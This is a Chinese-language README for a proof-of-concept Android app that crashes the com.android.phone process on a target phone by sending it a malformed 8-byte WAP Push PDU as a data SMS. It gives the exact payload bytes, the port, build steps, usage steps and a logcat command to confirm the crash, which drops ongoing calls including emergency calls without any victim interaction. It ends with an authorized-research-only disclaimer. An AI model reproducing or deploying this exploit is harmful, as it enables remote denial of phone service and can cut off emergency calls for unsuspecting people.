
概念验证 Android 应用,通过短信向目标手机发送精心构造的 8 字节 WAP Push PDU。该畸形 PDU 会在 WapPushOverSms.decodeWapPdu 中触发 NegativeArraySizeException,该异常在 InboundSmsHandler 中未被捕获,导致接收设备上的 com.android.phone 进程终止——从而中断任何正在进行的通话(包括紧急呼叫),且无需受害者进行任何交互。
01 06 88 80 80 80 00 BE → sent as a data SMS to port 2948
./gradlew assembleDebug
输出:app/build/outputs/apk/debug/app-debug.apk
需要 Android SDK。创建包含 SDK 路径的 local.properties(Android Studio 会自动完成此操作):
sdk.dir=/path/to/Android/sdk
在发送设备上安装,输入(或从活跃 SIM 卡自动填充)目标号码,选择发送 SIM 卡,然后点击 SEND CRASH SMS。在目标设备上观察:
adb logcat | grep -E 'NegativeArraySize|WapPushOverSms|com.android.phone'
预期结果:约 1–2 秒内 com.android.phone 中出现 FATAL EXCEPTION,该进程的 PID 发生变化,并伴随短暂的信号丢失。
minSdk 30,targetSdk/compileSdk 35。SEND_SMS、READ_PHONE_NUMBERS、READ_PHONE_STATE 权限。仅用于授权的安全研究,以及在您拥有或获得明确测试许可的设备上进行测试。请勿在未经同意的情况下针对系统或个人使用。